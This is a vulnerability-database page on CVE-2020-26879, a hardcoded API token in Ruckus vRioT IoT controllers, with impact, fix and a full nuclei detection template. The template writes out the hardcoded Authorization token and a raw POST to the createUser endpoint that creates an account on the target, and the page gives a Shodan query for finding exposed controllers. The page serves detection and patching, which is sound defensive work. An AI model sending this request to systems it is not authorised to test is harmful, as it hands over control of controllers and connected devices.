HexBrain

Browse / CVEs / CVE-2020-26879

CVE-2020-26879· commscope / ruckus vriot· CWE-798

Ruckus vRioT IoT Controller - Authentication Bypass

criticalseverity
9.8CVSS score
44.4%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Ruckus vRioT through 1.5.1.0.21 contains an API backdoor caused by a hardcoded token in validate_token.py,letting unauthenticated attackers interact with the API without authentication.

Impact

Unauthenticated attackers can interact with the API without authentication via a hardcoded token, allowing complete control over the IoT controller and connected devices.

Fix

Update to Ruckus vRioT version 1.5.1.0.22 or later.

How to confirm it

Send: POST /service/v1/createUser
Positive when: contains "{\"ok\": 1}" and "{\"message\":" AND not contains "Invalid JSON" AND status 200

Run it with nuclei: nuclei -id CVE-2020-26879 -u <target>

The full check
id: CVE-2020-26879

info:
  name: Ruckus vRioT IoT Controller - Authentication Bypass
  author: DhiyaneshDk
  severity: critical
  description: |
    Ruckus vRioT through 1.5.1.0.21 contains an API backdoor caused by a hardcoded token in validate_token.py,letting unauthenticated attackers interact with the API without authentication.
  impact: |
    Unauthenticated attackers can interact with the API without authentication via a hardcoded token, allowing complete control over the IoT controller and connected devices.
  remediation: |
    Update to Ruckus vRioT version 1.5.1.0.22 or later.
  reference:
    - https://adepts.of0x.cc/ruckus-vriot-rce/
    - https://adepts.of0x.cc
    - https://twitter.com/TheXC3LL
    - https://x-c3ll.github.io
    - https://github.com/alphaSeclab/sec-daily-2020
    - https://nvd.nist.gov/vuln/detail/CVE-2020-26879
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-26879
    cwe-id: CWE-798
    epss-score: 0.4437
    epss-percentile: 0.98773
    cpe: cpe:2.3:a:commscope:ruckus_vriot:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: commscope
    product: ruckus_vriot
    shodan-query: html:"RIoT Controller"
  tags: cve,cve2020,ruckus,vriot,iot,api,backdoor,auth-bypass,vkev,vuln

variables:
  username: "{{randstr_1}}"
  password: "{{randstr_2}}"

http:
  - raw:
      - |
        POST /service/v1/createUser HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: OlDkR+oocZg=

        {"username": "{{username}}", "password": "{{password}}"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"ok": 1}'
          - '{"message":'
        condition: and

      - type: word
        part: body
        words:
          - 'Invalid JSON'
        negative: true

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from